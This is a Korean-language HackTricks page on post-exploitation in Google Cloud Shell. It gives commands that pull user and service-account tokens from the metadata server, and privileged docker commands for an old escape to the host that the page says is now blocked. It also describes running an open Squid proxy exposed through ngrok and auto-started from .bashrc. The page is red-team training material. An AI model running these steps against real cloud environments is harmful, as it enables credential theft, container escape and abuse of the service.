GCP - Cloud Shell Post Exploitation

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Cloud Shell

Cloud Shell에 대한 자세한 내용은 다음을 확인하세요:

GCP - Cloud Shell Enum

메타데이터에서 사용자 token 획득

metadata server에 접근하기만 하면 현재 로그인한 사용자로서 접근하기 위한 token을 얻을 수 있습니다:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"

Container Escape / Docker use

Warning

이전에는 cloud shell이 호스트의 docker 소켓에 접근할 수 있는 컨테이너에서 실행되었습니다. 이제 Google은 아키텍처를 변경하여 cloud shell 컨테이너가 “Docker in a container” 설정으로 실행됩니다. 따라서 cloud shell에서 docker를 사용할 수 있더라도 docker 소켓을 이용해 호스트로 이스케이프할 수 없습니다. 참고로 이전에는 docker.sock 파일이 /google/host/var/run/docker.sock에 있었지만 현재는 /run/docker.sock로 이동되었습니다.

Docker use / Old container escape commands ```bash sudo docker -H unix:///run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock start escaper sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```

또한 과거에는 metadata server에서 cloud shell VM이 사용하던 service account의 token을 찾을 수 있었습니다:

metadata server의 이전 service account ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` 다음 scopes: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write

</details>



### 프록시로 사용하기

google cloud shell 인스턴스를 프록시로 사용하려면 다음 명령을 실행(또는 .bashrc 파일에 추가)해야 합니다:

<details>

<summary>Squid proxy 설치</summary>
```bash
sudo apt install -y squid

참고로 Squid is a http proxy server. 다음 설정으로 squid.conf 파일을 생성하세요:

squid.conf 파일 생성 ```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```

squid.conf 파일을 /etc/squid로 복사하세요

/etc/squid에 구성 파일 복사 ```bash sudo cp squid.conf /etc/squid ```

마지막으로 squid 서비스를 실행합니다:

Squid 서비스 시작 ```bash sudo service squid start ```

ngrok를 사용해 proxy를 외부에서 접근할 수 있도록 하세요:

ngrok로 proxy 노출하기 ```bash ./ngrok tcp 3128 ```

실행한 후 tcp:// URL을 복사하세요. 브라우저에서 proxy를 실행하려면 tcp:// 부분과 포트 번호를 제거하고 포트 번호를 브라우저의 proxy 설정의 포트 필드에 넣는 것을 권장합니다 (squid는 http proxy 서버입니다).

시작 시 편리하게 사용하려면 .bashrc 파일에 다음 줄을 추가하세요:

.bashrc에 자동 시작용으로 추가 ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```

지침은 https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key에서 복사되었습니다. 해당 페이지에서 Cloud Shell에서 어떤 종류의 소프트웨어(데이터베이스와 심지어 Windows까지)를 실행하는 다른 기발한 아이디어들을 확인하세요.

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기